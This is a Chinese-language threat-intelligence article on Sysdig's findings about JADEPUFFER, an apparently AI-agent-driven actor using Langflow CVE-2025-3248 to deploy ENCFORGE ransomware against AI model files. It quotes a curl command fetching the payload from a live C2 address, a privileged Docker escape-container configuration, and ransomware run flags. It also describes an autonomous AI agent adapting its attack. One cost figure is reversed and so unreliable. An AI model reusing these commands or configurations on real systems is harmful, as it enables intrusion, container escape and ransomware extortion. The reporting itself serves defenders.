导语:安全研究机构Sysdig近日捕获一起针对AI基础设施的攻击行动:攻击者利用Langflow未授权RCE漏洞CVE-2025-3248(CVSS 9.8)入侵目标后,部署专门针对AI模型的ENCFORGE勒索软件。该软件以约180种AI/ML文件格式为目标,单个生产级模型的重建成本高达75万至50万美元。国内AI创业公司和AI基础设施团队应高度警惕。
一、攻击者是谁:JADEPUFFER的第二次出手
这次攻击的幕后黑手,与今年7月初Sysdig首次曝光的JADEPUFFER(玉蝶)属同一组织。
JADEPUFFER是一个AI代理驱动的威胁行为者(ATA),能够自主完成侦察、凭据收割、横向移动和破坏性勒索的完整攻击链。7月1日,该组织首次对Langflow发起攻击,利用同样的CVE-2025-3248漏洞进入系统后,用Python脚本和MySQL的AES_ENCRYPT函数对Nacos(阿里巴巴配置服务器)和生产数据库进行加密和销毁。
首次攻击后仅三周,JADEPUFFER重返同一Langflow实例,但工具已全面升级: improvised的临时脚本换成了编译好的Go勒索软件ENCFORGE,目标从数据库直接指向AI模型资产。
Sysdig威胁研究团队(TRT)指出,两次攻击使用同一个勒索联系邮箱 e78393397@proton.me,这是目前最强的人员归属证据。
二、入侵路径:CVE-2025-3248成持久入口
整个攻击链的起点没有变化:Langflow 1.3.0之前版本未对 /api/v1/validate/code 接口做身份验证,允许任意远程攻击者直接在服务器上执行Python代码。
该漏洞(CVE-2025-3248)CVSS评分高达9.8,已于2025年5月5日被列入CISA已知被利用漏洞目录(KEV),至今仍是JADEPUFFER历次攻击活动的统一入口。
Langflow之所以是理想的攻击跳板,源于其本身的定位:它是一个广泛部署的开源LLM应用编排框架,运行环境中通常配置了各大语言模型提供商的API密钥、云服务商凭据,以及向量数据库和对象存储的连接信息。从Langflow的环境变量和后端Postgres数据库中,攻击者可以批量收割这些高价值凭据。
三、ENCFORGE详解:专为AI基础设施打造的勒索软件
3.1 定位与覆盖范围
Sysdig研究人员从攻击者的命令控制服务器取回了ENCFORGE二进制样本。核心特征如下:
ENCFORGE的目标文件扩展名列表约含180种,完整覆盖现代AI/ML技术栈:
模型格式与检查点:.ckpt(TensorFlow/PyTorch检查点)、.h5(Keras/TensorFlow HDF5)、.onnx(ONNX交换格式)、.pb(TensorFlow protobuf)、.pkl/.pickle(Python序列化模型)、.pt/.pt2/.pth(PyTorch)、.safetensors(HuggingFace安全张量格式)、.ggml/.gguf(llama.cpp量化格式,本地部署LLM的主流格式)、.model
向量数据库与索引:faiss(Facebook AI相似度搜索索引,广泛用于embedding检索)
训练数据集与列式数据:arrow/.feather(Apache Arrow格式)、.parquet(大规模训练数据集主流格式)、.tfrecord(TensorFlow训练管道输入格式)、.npy/.npz(NumPy数组)、.vec(word2vec/fastText词向量)、.duckdb(数据科学与ML管道分析数据库)
开发者格式(体现macOS/跨平台意识):.keychain/.keychain-db(macOS钥匙串凭据库)、.xcodeproj(Xcode项目文件)、.pages/.numbers(苹果生产力格式)
更关键的是,ENCFORGE内置了 --include 参数,允许攻击者在运行时追加自定义文件匹配模式。其内置帮助文本以 LoRA微调适配器文件(*lora)和旧版GGML模型权重(*ggjt)作为示例——这绝非通用文件加密器的偶然覆盖,而是明确针对AI环境的定制设计。
3.2 加密机制
ENCFORGE使用AES-256-CTR模式加密文件数据,每运行一次生成新的对称密钥,用编译进二进制文件的RSA-2048公钥对该密钥进行封装。不加密完整文件,而是选择性加密文件中的特定数据块——这是LockBit和BlackCat等顶级勒索软件组织使用的速度优化策略。
加密后的文件重命名为 .locked 后缀。勒索信以 README、HOW_TO_DECRYPT 和 README_DECRYPT 三个文件形式释放,勒索联系邮箱为 e78393397@proton.me(与上次JADEPUFFER攻击完全一致)。
值得注意的是,ENCFORGE没有数据外传功能——二进制文件中完全没有网络通信代码、云存储客户端或暂存机制。Sysdig在观察期间未发现数据外泄、暗网泄露站点或Tor支付门户的迹象。攻击者唯一的筹码,就是那些被加密的AI模型和数据。
四、容器逃逸:五分半钟六次迭代拿到宿主机root
攻击者进入Langflow容器后,首先进行标准的后渗透操作:确认代码执行(id、uname -m、hostname),然后全面扫描环境中的凭据——云服务商密钥、数据库连接字符串、API令牌。它通过 /dev/tcp 探测内部服务可达性,并将已获取的凭据对内部数据库和缓存服务进行重放测试。
随后,攻击者发现了 /var/run/docker.sock——这是整个攻击链的关键转折点。对Docker socket的写权限等同于宿主机root权限:任何能向其写入的进程都可以指示Docker守护进程创建一个特权容器,将宿主机文件系统挂载进去,然后利用该容器在原始容器命名空间之外的任意位置读写。
攻击者最初尝试直接通过curl从C2服务器下载ENCFORGE:
curl -m30 -o /tmp/.sk/lockd http://34.153.223.102:9191/lockd && chmod +x但下载失败。攻击者没有放弃,而是改变了策略——如果二进制无法从容器内下载,就通过容器的proc文件系统穿过命名空间边界,直接把文件从容器复制到宿主机上运行。
接下来的5分24秒内,攻击者通过同一Langflow RCE通道编写并迭代了六个Python脚本,逐步解决容器逃逸的技术难题:
最终payload(deploy.py v2)的工作流程:首先通过Docker API发现目标进程PID,然后通过特权逃逸容器将ENCFORGE从容器procfs复制到宿主机本地目录,再用nsenter进入宿主机的PID和网络命名空间执行勒索软件。
逃逸容器配置:```json { "Image": "registry.internal/app:2.3.1", "HostConfig": { "Binds": ["/:/host:rw"], "Privileged": true, "PidMode": "host", "NetworkMode": "host" } }Privilege: true + PidMode: host + NetworkMode: host + 根文件系统以读写模式挂载——这就是完整的宿主机root。
执行步骤:
先 `--try-run` 扫描文件系统,
再 `--lock` 进行实际加密,
最后检查 `.locked` 文件数量验证执行结果。
`--task-id gcp_h1` 参数表明攻击者将此节点作为GCP目标纳入更大规模的舰队campaign进行追踪。
整个过程最令人警惕的并非最终结果,而是攻击者展现出的自主适应能力:当首选攻击路径(curl下载二进制)被阻断时,它在5分钟内自动切换到完全不同的技术路线(通过Docker socket构建容器逃逸通道)。这不是脚本小子的小聪明,而是目标导向的自主决策。
夜雨聆风